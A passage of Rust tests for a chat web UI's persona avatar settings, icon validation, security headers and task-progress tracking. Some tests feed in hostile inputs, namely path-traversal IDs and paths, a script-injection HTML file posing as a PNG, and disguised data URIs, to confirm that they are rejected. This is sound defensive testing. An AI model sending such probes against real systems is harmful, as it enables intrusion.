15212        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15213        assert!(view.talk.turns[0].messages.is_empty());
15214        assert!(view.talk.pending_messages.is_empty());
15215    }
15216
15217    #[tokio::test]
15218    async fn avatar_settings_report_states_and_inherit_after_corruption() {
15219        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15220        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
15221            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
15222        ))
15223        .await;
15224        let path = avatar_setting_path(home.path(), Some("rei"));
15225        let orphan = avatar_setting_path(home.path(), Some("removed"));
15226        save_icon_file(&orphan, icon).unwrap();
15227        for (saved, expected) in [
15228            (icon, "custom"),
15229            ("builtin", "builtin"),
15230            ("data:image/png;base64,!!!!", "inherit"),
15231            ("data:image/png;base64,PGh0bWw+", "inherit"),
15232            ("/tmp/avatar.png", "inherit"),
15233        ] {
15234            atomic_icon_write(&path, saved).unwrap();
15235            let catalog =
15236                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
15237                    .await
15238                    .unwrap()
15239                    .0;
15240            let personas = catalog["personas"].as_array().unwrap();
15241            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
15242            assert_eq!(rei["override_state"], expected);
15243            assert_eq!(rei["has_config_icon"], true);
15244            assert_eq!(rei["is_orphan"], false);
15245            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
15246            assert_eq!(removed["override_state"], "custom");
15247            assert_eq!(removed["is_orphan"], true);
15248            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
15249            assert_eq!(default["override_state"], "inherit");
15250            assert_eq!(default["has_config_icon"], false);
15251            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
15252            assert_eq!(
15253                effective.as_deref(),
15254                Some(if expected == "builtin" { "" } else { icon })
15255            );
15256        }
15257    }
15258
15259    #[tokio::test]
15260    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
15261        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15262        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
15263            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
15264        ))
15265        .await;
15266        let target = |id: Option<&str>| AvatarSettingsQuery {
15267            persona: id.map(str::to_owned),
15268            ..Default::default()
15269        };
15270        let original_config = config_for(&repo).await.unwrap();
15271        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
15272        let original_prompt = persona::section_for(&original_persona, None);
15273        let before = talk_detail(State(ui.clone()), Path(id.clone()))
15274            .await
15275            .unwrap()
15276            .0;
15277        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
15278            let _ = avatar_settings_put(
15279                State(ui.clone()),
15280                Query(target(persona)),
15281                Json(MagiIconUpload { icon: icon.into() }),
15282            )
15283            .await
15284            .unwrap();
15285            let path = avatar_setting_path(home.path(), persona);
15286            assert!(path.starts_with(home.path().join("avatars")));
15287            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15288            for bad in [
15289                "/tmp/image.png".to_owned(),
15290                "data:image/png;base64,!!!!".to_owned(),
15291                "data:image/png;base64,PGh0bWw+".to_owned(),
15292                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15293                format!(
15294                    "data:image/png;base64,{}",
15295                    "A".repeat(persona_icon::ICON_MAX_BYTES)
15296                ),
15297            ] {
15298                assert!(
15299                    avatar_settings_put(
15300                        State(ui.clone()),
15301                        Query(target(persona)),
15302                        Json(MagiIconUpload { icon: bad })
15303                    )
15304                    .await
15305                    .is_err()
15306                );
15307                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15308            }
15309        }
15310        assert!(read_magi_icon(home.path()).is_none());
15311        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
15312        let after = talk_detail(State(ui.clone()), Path(id.clone()))
15313            .await
15314            .unwrap()
15315            .0;
15316        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
15317        assert_ne!(
15318            before
15319                .personas
15320                .iter()
15321                .find(|p| p.id == "magi")
15322                .unwrap()
15323                .avatar,
15324            after
15325                .personas
15326                .iter()
15327                .find(|p| p.id == "magi")
15328                .unwrap()
15329                .avatar
15330        );
15331        let restarted = Arc::new(Ui::new(
15332            Queue::at(home.path().join("queue")),
15333            Questions::at(home.path().join("questions")),
15334            Talks::at(home.path().join("talks")),
15335            home.path().join("runs"),
15336            home.path().to_owned(),
15337            repo,
15338        ));
15339        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
15340            .await
15341            .unwrap()
15342            .0;
15343        assert!(
15344            catalog["personas"]
15345                .as_array()
15346                .unwrap()
15347                .iter()
15348                .any(|p| p["id"] == "../custom/日本語")
15349        );
15350        for expected in ["custom", "default", "rei"] {
15351            assert!(
15352                catalog["personas"]
15353                    .as_array()
15354                    .unwrap()
15355                    .iter()
15356                    .any(|p| p["id"] == expected)
15357            );
15358        }
15359        let response =
15360            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
15361        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15362        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
15363            .await
15364            .unwrap();
15365        assert_eq!(
15366            effective_persona_icon(home.path(), "rei", Some(icon)),
15367            Some(String::new())
15368        );
15369        let response = talk_avatar(
15370            State(restarted.clone()),
15371            Path(id.clone()),
15372            Query(AvatarQuery {
15373                persona: Some("rei".into()),
15374                ..Default::default()
15375            }),
15376        )
15377        .await
15378        .unwrap();
15379        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
15380        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
15381            .await
15382            .unwrap()
15383            .0;
15384        assert_ne!(
15385            after
15386                .personas
15387                .iter()
15388                .find(|p| p.id == "rei")
15389                .unwrap()
15390                .avatar,
15391            reset
15392                .personas
15393                .iter()
15394                .find(|p| p.id == "rei")
15395                .unwrap()
15396                .avatar
15397        );
15398        let mut inherit = target(Some("rei"));
15399        inherit.inherit = Some("1".into());
15400        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
15401            .await
15402            .unwrap();
15403        assert_eq!(
15404            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
15405            Some(icon)
15406        );
15407        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
15408            .await
15409            .unwrap();
15410        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
15411        assert_eq!(
15412            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
15413            Some(icon)
15414        );
15415        // Display changes never rewrite the conversation or its prompt-bearing config.
15416        let cfg = config_for(&ui.repo).await.unwrap();
15417        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
15418        assert_eq!(persona::section_for(&resolved, None), original_prompt);
15419        assert!(!original_prompt.contains("data:image"));
15420        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
15421        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
15422        assert!(!stored.contains("data:image"));
15423        let mut orphan = ui.talks.get(&id).unwrap();
15424        orphan.persona = "../custom/日本語".into();
15425        let view = TalkView::with_config(
15426            orphan,
15427            false,
15428            Some(&cfg),
15429            home.path(),
15430            &id_links::IndexCache::default(),
15431        );
15432        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
15433    }
15434
15435    #[tokio::test]
15436    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
15437        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
15438        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15439        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15440        let _ = magi_icon_put(
15441            State(ui.clone()),
15442            Json(MagiIconUpload { icon: icon.into() }),
15443        )
15444        .await
15445        .unwrap();
15446        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15447        assert_ne!(original, changed);
15448        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15449        let response = magi_avatar(
15450            State(ui.clone()),
15451            Query(AvatarQuery {
15452                persona: None,
15453                builtin: None,
15454            }),
15455        )
15456        .await;
15457        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15458        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
15459        assert_eq!(
15460            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
15461            "nosniff"
15462        );
15463        for bad in [
15464            "data:image/png;base64,PGh0bWw+".to_owned(),
15465            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15466            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
15467        ] {
15468            assert!(save_magi_icon(home.path(), &bad).is_err());
15469            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15470        }
15471        // Re-opened server state reads the same independent home file.
15472        let restarted = Arc::new(Ui::new(
15473            Queue::at(home.path().join("queue")),
15474            Questions::at(home.path().join("questions")),
15475            Talks::at(home.path().join("talks")),
15476            home.path().join("runs"),
15477            home.path().to_path_buf(),
15478            repo,
15479        ));
15480        assert_eq!(
15481            magi_icon_get(State(restarted.clone())).await.0["avatar"],
15482            changed
15483        );
15484        let view = TalkView::with_config(
15485            restarted.talks.get(&id).unwrap(),
15486            false,
15487            None,
15488            &restarted.home,
15489            &restarted.references,
15490        );
15491        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
15492        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
15493        let response = magi_avatar(
15494            State(ui.clone()),
15495            Query(AvatarQuery {
15496                persona: None,
15497                builtin: None,
15498            }),
15499        )
15500        .await;
15501        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
15502            .await
15503            .unwrap();
15504        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
15505        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
15506        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
15507        let _ = magi_icon_delete(State(ui)).await.unwrap();
15508    }
15509
15510    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
15511    async fn avatar(
15512        ui: &Arc<Ui>,
15513        id: &str,
15514        persona: Option<&str>,
15515        builtin: bool,
15516    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
15517        let res = talk_avatar(
15518            State(Arc::clone(ui)),
15519            Path(id.to_owned()),
15520            Query(AvatarQuery {
15521                persona: persona.map(str::to_owned),
15522                builtin: builtin.then(|| "1".to_owned()),
15523            }),
15524        )
15525        .await
15526        .expect("an avatar is never an error response");
15527        let h = res.headers();
15528        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
15529        let nosniff = h
15530            .get(header::X_CONTENT_TYPE_OPTIONS)
15531            .is_some_and(|v| v == "nosniff");
15532        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
15533        let status = res.status();
15534        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15535            .await
15536            .expect("body")
15537            .to_vec();
15538        (status, ct, nosniff, csp, body)
15539    }
15540
15541    fn tiny_png() -> Vec<u8> {
15542        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
15543        b.extend_from_slice(&[0u8; 32]);
15544        b
15545    }
15546
15547    #[tokio::test]
15548    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
15549        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
15550        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
15551        assert_eq!(res.status(), StatusCode::OK);
15552        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
15553        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
15554        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
15555        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
15556        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15557            .await
15558            .unwrap();
15559        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
15560        assert_ne!(
15561            persona_icon::operator_svg(),
15562            persona_icon::builtin_svg("default")
15563        );
15564    }
15565
15566    #[tokio::test]
15567    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
15568        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
15569        for p in [
15570            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
15571        ] {
15572            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
15573            assert_eq!(status, StatusCode::OK, "{p}");
15574            assert_eq!(ct, "image/svg+xml", "{p}");
15575            assert!(nosniff && csp, "{p}");
15576            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
15577        }
15578        // No `persona` means the conversation's own; unknown ones fall back.
15579        let own = avatar(&ui, &id, None, false).await;
15580        let default = avatar(&ui, &id, Some("default"), false).await;
15581        assert_eq!(own.4, default.4);
15582        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
15583        assert_eq!(unknown.1, "image/svg+xml");
15584    }
15585
15586    #[tokio::test]
15587    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
15588        let dir = TempDir::new().expect("icons");
15589        let good = dir.path().join("good.png");
15590        std::fs::write(&good, tiny_png()).unwrap();
15591        let spoof = dir.path().join("spoof.png");
15592        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
15593        let big = dir.path().join("big.png");
15594        let mut bytes = tiny_png();
15595        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
15596        std::fs::write(&big, bytes).unwrap();
15597        let missing = dir.path().join("missing.png");
15598        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
15599        let extra = format!(
15600            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
15601             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
15602             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
15603             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
15604             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
15605             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
15606            uri(&good),
15607            uri(&spoof),
15608            uri(&big),
15609            uri(&missing),
15610        );
15611        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15612
15613        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
15614        assert_eq!(
15615            (status, ct.as_str(), nosniff),
15616            (StatusCode::OK, "image/png", true)
15617        );
15618        assert_eq!(body, tiny_png());
15619        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
15620        assert_eq!(ct, "image/png", "data URI");
15621
15622        for p in ["misato", "asuka", "shinji", "magi"] {
15623            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
15624            assert_eq!(
15625                (status, ct.as_str(), csp),
15626                (StatusCode::OK, "image/svg+xml", true),
15627                "{p}"
15628            );
15629            assert!(body.starts_with(b"<svg"), "{p}");
15630        }
15631        // The page's own retry skips the icon.
15632        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
15633        assert_eq!(ct, "image/svg+xml");
15634    }
15635
15636    #[tokio::test]
15637    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
15638        let oversized = format!(
15639            "data:image/png;base64,{}",
15640            "A".repeat(persona_icon::ICON_MAX_BYTES)
15641        );
15642        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
15643            let extra = format!(
15644                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
15645            );
15646            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15647            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15648                .await
15649                .expect("detail with invalid icon");
15650            assert!(detail.personas.iter().any(|p| p.id == "custom"));
15651            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
15652            assert_eq!(status, StatusCode::OK);
15653            assert_eq!(ct, "image/svg+xml");
15654            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
15655            let Json(view) = talk_persona(
15656                State(Arc::clone(&ui)),
15657                Path(id.clone()),
15658                Json(TalkPersona {
15659                    persona: "custom".into(),
15660                }),
15661            )
15662            .await
15663            .expect("persona switch with invalid icon");
15664            assert_eq!(view.talk.persona, "custom");
15665            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
15666        }
15667    }
15668
15669    #[tokio::test]
15670    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
15671        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15672        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
15673        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
15674        assert_eq!(
15675            (status, ct.as_str(), nosniff, csp),
15676            (StatusCode::OK, "image/svg+xml", true, true)
15677        );
15678    }
15679
15680    #[tokio::test]
15681    async fn the_talk_view_carries_server_built_avatar_urls_only() {
15682        let (_t, _h, ui, id, _repo) =
15683            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
15684        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15685            .await
15686            .expect("detail");
15687        let json = serde_json::to_string(&detail).unwrap();
15688        assert!(
15689            !json.contains("secret"),
15690            "the icon setting must not leak: {json}"
15691        );
15692        assert!(
15693            detail
15694                .view
15695                .persona_avatar
15696                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
15697        );
15698        assert_eq!(
15699            detail.view.operator_avatar,
15700            format!(
15701                "/avatars/operator.svg?v={}",
15702                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
15703            )
15704        );
15705        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
15706        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
15707        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
15708        assert!(rei.avatar.contains("persona=rei&v="));
15709        assert_ne!(
15710            rei.avatar.split("&v=").nth(1),
15711            plain.avatar.split("&v=").nth(1)
15712        );
15713    }
15714
15715    #[tokio::test]
15716    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
15717        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15718        let cfg = config_for(&repo).await.unwrap();
15719        for arrived in [false, true] {
15720            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
15721            let observed = ui.queued_generation(&id);
15722            let talk = ui.talks.get(&id).unwrap();
15723            if arrived {
15724                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
15725            }
15726            let mut settling = std::pin::pin!(settle_settings_turn(
15727                talk,
15728                ui.talks.clone(),
15729                cfg.clone(),
15730                id.clone(),
15731                turn,
15732                observed
15733            ));
15734            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
15735            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
15736            assert_eq!(first.is_pending(), arrived);
15737            if arrived {
15738                assert!(!settling.await);
15739            }
15740            assert!(!ui.is_thinking(&id));
15741        }
15742    }
15743
15744    #[tokio::test]
15745    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
15746        let tmp = TempDir::new().expect("tempdir");
15747        let repo = tmp.path().join("repo");
15748        std::fs::create_dir_all(&repo).expect("repo dir");
15749        std::fs::write(
15750            repo.join("magi.toml"),
15751            format!(
15752                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
15753            ),
15754        )
15755        .expect("write magi.toml");
15756        let home = TempDir::new().expect("temp home");
15757        let talks = Talks::at(home.path().join("talks"));
15758        let ui = Arc::new(
15759            Ui::new(
15760                Queue::at(home.path().join("queue")),
15761                Questions::at(home.path().join("questions")),
15762                talks.clone(),
15763                home.path().join("runs"),
15764                home.path().to_path_buf(),
15765                repo.clone(),
15766            )
15767            .with_worktrees_root(home.path().join("wt")),
15768        );
15769        let cfg = config_for(&repo).await.expect("discover config");
15770        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15771        let id = talk.id.clone();
15772        let call = |persona: &str| {
15773            talk_persona(
15774                State(Arc::clone(&ui)),
15775                Path(id.clone()),
15776                Json(TalkPersona {
15777                    persona: persona.to_owned(),
15778                }),
15779            )
15780        };
15781
15782        let unknown = call("nobody").await.expect_err("unknown persona");
15783        assert_eq!(
15784            unknown.status,
15785            StatusCode::BAD_REQUEST,
15786            "{}",
15787            unknown.message
15788        );
15789
15790        {
15791            // Nothing refused so far took a claim, so the guard is free to take
15792            // and holding it is what makes the talk busy.
15793            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15794            let busy = call("rei").await.expect_err("busy talk");
15795            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15796            assert!(
15797                busy.message.contains("a talk turn is running"),
15798                "{}",
15799                busy.message
15800            );
15801            drop(guard);
15802        }
15803        assert_eq!(talks.get(&id).expect("reload").persona, "");
15804
15805        let Json(view) = call("gendo").await.expect("switch to a configured persona");
15806        assert_eq!(view.talk.persona, "gendo");
15807        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
15808        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15809        // No intervening I/O or sleep may be needed before another change.
15810        for chosen in ["default", "gendo", "rei", "gendo"] {
15811            let Json(view) = call(chosen).await.expect("immediate consecutive change");
15812            assert!(!view.thinking);
15813            assert!(!ui.is_thinking(&id));
15814        }
15815
15816        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15817            .await
15818            .expect("detail");
15819        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15820        assert_eq!(ids.first(), Some(&"default"));
15821        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15822
15823        let Json(view) = call("default").await.expect("back to default");
15824        assert_eq!(view.talk.persona, "");
15825
15826        let mut closed = talks.get(&id).expect("reload");
15827        talk::close(&mut closed, &talks).expect("close");
15828        let refused = call("rei").await.expect_err("closed talk");
15829        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15830        assert!(
15831            refused.message.contains("takes no more turns"),
15832            "{}",
15833            refused.message
15834        );
15835    }
15836
15837    #[tokio::test]
15838    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15839        let f = Fixture::start().await;
15840        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15841        let queue = f.queue();
15842        let mut mine = Task::new(
15843            "rename the loader".to_owned(),
15844            "rename the loader".to_owned(),
15845            PathBuf::from("/repo/magi"),
15846            Source::Agent {
15847                run: talk_id.clone(),
15848                node: "chat".to_owned(),
15849            },
15850        );
15851        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15852        assert_eq!(empty["task_progress"]["state"], "none");
15853        assert_eq!(empty["task_progress"]["total"], 0);
15854        queue.put(&mut mine).expect("file the task");
15855        let mut theirs = Task::new(
15856            "unrelated".to_owned(),
15857            "unrelated".to_owned(),
15858            PathBuf::from("/repo/magi"),
15859            Source::Human,
15860        );
15861        // A later task linked through origin_chat alone is outside this list.
15862        theirs.origin_chat = Some(talk_id.clone());
15863        queue.put(&mut theirs).expect("file the task");
15864
15865        let res = f.get(&format!("/api/talks/{talk_id}")).await;
15866        assert_eq!(res.status, 200, "{}", res.body);
15867        let body = res.json();
15868        assert_eq!(
15869            body["status"], "open",
15870            "filing a task does not close a talk"
15871        );
15872        let tasks = body["tasks"].as_array().expect("tasks array");
15873        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15874        assert_eq!(tasks[0]["id"], mine.id);
15875        for status in [
15876            TaskStatus::Queued,
15877            TaskStatus::Running,
15878            TaskStatus::Held,
15879            TaskStatus::Failed,
15880            TaskStatus::Blocked,
15881            TaskStatus::Parked,
15882            TaskStatus::Done,
15883            TaskStatus::Queued,
15884        ] {
15885            mine.status = status;
15886            queue.put(&mut mine).expect("update status");
15887            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15888            let progress = &detail["task_progress"];
15889            assert_eq!(progress["total"], 1);
15890            assert_eq!(progress["counts"][status.as_str()], 1);
15891            assert_eq!(detail["tasks"][0]["status"], status.as_str());
15892            assert_eq!(detail["status"], "open", "completion never closes the chat");
15893            if status == TaskStatus::Done {
15894                assert_eq!(progress["state"], "complete");
15895                assert_eq!(progress["done"], 1);
15896                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15897            } else {
15898                assert_eq!(progress["state"], "incomplete");
15899                assert_eq!(progress["done"], 0);
15900                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15901            }
15902        }
15903    }
15904
15905    #[test]
15906    fn goal_link_uses_newest_valid_direct_run_and_prefers_task_targets() {
15907        let home = tempfile::tempdir().unwrap();
15908        let runs = home.path().join("runs");
15909        let queue = Queue::at(home.path().join("queue"));
15910        let talks = Talks::at(home.path().join("talks"));
15911        let config = stub_config();
15912        let repo = PathBuf::from("/repo/magi");
15913        let mut talk = talk::begin(&talks, &config, repo.clone(), Some("stub")).unwrap();
15914        let reserve_run = |repo| {
15915            let mut run = RunState::new(
15916                repo,
15917                "main".into(),
15918                "0000000".into(),
15919                "Follow the review".into(),
15920                config.clone(),
15921            );
15922            run.reserve_under(home.path()).unwrap();
15923            run
15924        };
15925        let older = reserve_run(repo.clone());
15926        let newer = reserve_run(repo.clone());
15927        let foreign = reserve_run(PathBuf::from("/repo/other"));
15928        let mismatched = reserve_run(repo.clone());
15929        let corrupt = reserve_run(repo.clone());
15930        let run_file = |id: &str| runs.join(id).join("run.json");
15931        std::fs::write(
15932            run_file(&mismatched.id),
15933            serde_json::to_vec(&older).unwrap(),
15934        )
15935        .unwrap();
15936        std::fs::write(run_file(&corrupt.id), b"not json").unwrap();
15937        let goal = |tasks: Vec<String>, runs: Vec<String>| {
15938            serde_json::from_value::<crate::chat_goal::Goal>(serde_json::json!({
15939                "id": "g", "purpose": "Follow the review", "scope": "review",
15940                "condition": {"description": "Owner reviews the result", "kind": "owner_review"},
15941                "state": "waiting", "step": "Follow the recorded review",
15942                "source_turn": 0, "owner_input": "Follow the review",
15943                "tasks": tasks, "runs": runs, "watches": [],
15944                "evidence": "Seeded durable goal", "wake": 1, "handled": 1,
15945                "started": null, "wakes": 0, "last_checked": null, "fingerprint": ""
15946            }))
15947            .unwrap()
15948        };
15949        let link = |talk: &Talk| talk_goal_link(talk, &queue, &runs).map(|l| (l.kind, l.id));
15950
15951        talk.goals = vec![goal(vec![], vec![older.id.clone(), newer.id.clone()])];
15952        assert_eq!(link(&talk), Some(("run", newer.id.clone())));
15953
15954        let unusable = vec![
15955            foreign.id.clone(),
15956            mismatched.id.clone(),
15957            corrupt.id.clone(),
15958            "missing".into(),
15959            "../escape".into(),
15960        ];
15961        let mut references = vec![older.id.clone()];
15962        references.extend(unusable.clone());
15963        talk.goals = vec![goal(vec![], references)];
15964        assert_eq!(link(&talk), Some(("run", older.id.clone())));
15965
15966        talk.goals = vec![goal(vec!["missing-task".into()], unusable)];
15967        assert_eq!(link(&talk), None);
15968
15969        let mut task = Task::new(
15970            "Review".into(),
15971            "Follow the review".into(),
15972            repo,
15973            Source::Human,
15974        );
15975        queue.put(&mut task).unwrap();
15976        talk.goals = vec![goal(vec![task.id.clone()], vec![newer.id.clone()])];
15977        assert_eq!(link(&talk), Some(("task", task.id.clone())));
15978
15979        task.runs.push(older.id.clone());
15980        queue.put(&mut task).unwrap();
15981        assert_eq!(link(&talk), Some(("run", older.id)));
15982    }
15983
15984    #[test]
15985    fn talk_task_progress_counts_mixed_statuses() {
15986        let mut tasks: Vec<_> = [
15987            TaskStatus::Queued,
15988            TaskStatus::Running,
15989            TaskStatus::Held,
15990            TaskStatus::Failed,
15991            TaskStatus::Blocked,
15992            TaskStatus::Parked,
15993            TaskStatus::Done,
15994        ]
15995        .into_iter()
15996        .map(|status| {
15997            let mut task = Task::new(
15998                "task".into(),
15999                "task".into(),
16000                PathBuf::from("/repo"),
16001                Source::Human,
16002            );
16003            task.status = status;
16004            task
16005        })
16006        .collect();
16007        let progress = talk_task_progress(&tasks);
16008        assert_eq!(progress.state, "incomplete");
16009        assert_eq!(progress.total, 7);
16010        assert_eq!(progress.done, 1);
16011        assert_eq!(progress.unfinished_ids.len(), 6);
16012        assert!(progress.counts.values().all(|count| *count == 1));
16013        assert_eq!(
16014            progress.unfinished_ids,
16015            tasks[..6]
16016                .iter()
16017                .map(|task| task.id.clone())
16018                .collect::<Vec<_>>()
16019        );
16020
16021        for task in &mut tasks {
16022            task.status = TaskStatus::Done;
16023        }
16024        let complete = talk_task_progress(&tasks);
16025        assert_eq!(complete.state, "complete");
16026        assert_eq!(complete.done, 7);
16027        assert!(complete.unfinished_ids.is_empty());
16028        tasks[0].status = TaskStatus::Queued;
16029        let requeued = talk_task_progress(&tasks);
16030        assert_eq!(requeued.state, "incomplete");
16031        assert_eq!(requeued.done, 6);
16032        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
16033
16034        let empty = talk_task_progress(&[]);
16035        assert_eq!(empty.state, "none");
16036        assert_eq!(empty.total, 0);
16037        assert_eq!(empty.done, 0);
